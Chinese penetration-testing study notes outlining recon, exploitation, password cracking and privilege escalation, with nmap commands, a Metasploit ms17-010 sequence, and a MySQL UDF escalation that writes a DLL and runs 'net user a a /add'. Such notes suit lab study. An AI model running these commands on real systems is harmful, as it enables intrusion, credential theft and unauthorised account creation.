PT: --- APT

whoami - 没有绝对的安全

幽灵、网络寻（迷）踪、黑客军团

过滤/配置

渗透测试流程：

a、信息收集

被动：dns、google hacking、社会工程学、github、百度云盘 ---- ZoomEye、shodan

site、inurl、filetype、admin、error

主动：子域名、ip（站长之家）、端口、服务、操作系统

exploit-db/cve/cnvd/

Web：

前：HTML、CSS、JS --- 框架

后：

Java --- Tomcat/Weblogic --- 框架（struts2、shiro）

PHP --- Apache/Nginx --- 框架（ThinkPHP）

C# --- IIS/.net ---

Py --- apache/nginx --- 框架（Flask、Django）

CMS：

PHP --- wordpress、joomla、discuz、……

源码

DB：

MySQL -- 3306、root

SQLSERVER -- 1433、sa

Oracle -- 1521、system、sys

Redis -- 6379 未授权访问

OS：

Windows -- ms17-010

Linux --

NET：

网段 nmap、ARP欺骗、DNS欺骗

扫描工具：

nmap ： 端口-- 服务

nmap ip

nmap -p- -n -P0 ipaddr

nmap -p 8080 -sV ipaddr

nmap -O ip

Nessus:

b、漏洞利用

Web信息收集:

源代码：注释

扫后台：管理页面、.bak、upload/upfile、mdb/db、robots.txt、zip/tar、config、~

Tools： 御剑/Burp -- payload encoding/dirbruter

SQL注入：sqlmap

文件上传：

00截断/解析漏洞/改名

命令执行：

Tomcat -- /manager/html

口令破解：

本地：

Windows: SAM - c:\windows\system32\config

NTLM/LM pwdump7 --- saminside/彩虹表

Linux:

/etc/shadow -- john

明文口令：内存 -- 输入

mimikataz/getpass.exe

远程：bruter/hydra

c、提权（可选的）

exp/poc exploit-db

操作系统：RCE

Windows：

Linux：.c

（msf）

msfconsole -- 打开msf

search ms17-010

use

show options -- yes

set rhost 10.211.55.24

show payloads --- meterpreter/bind_tcp、reverse_tcp

show options

exploit

数据库：***

MS SQL：sa/pwd -- SQL修复资料

MySQL：UDF -- 登录

create table t_tmp(data longblob);

insert into t_tmp values("");

update t_tmp set data=concat('',0x7F454C460101010000……);

show variables like 'plugin_dir';//C:/phpStudy/MySQL/lib/plugin/

select * from t_tmp into dumpfile 'c:/……/udf.dll'

create function cmdshell returns string soname 'udf.dll';

select cmdshell('net user a a /add');

drop table if exists t_tmp;

应用程序：

d、横向渗透【】

e、清除痕迹（维持访问）

后续学习书籍/资源：

《Web安全深度剖析》、《白帽子讲Web安全》、……

vulhub/vulnhub/https://pentesterlab.com/

github/bilibili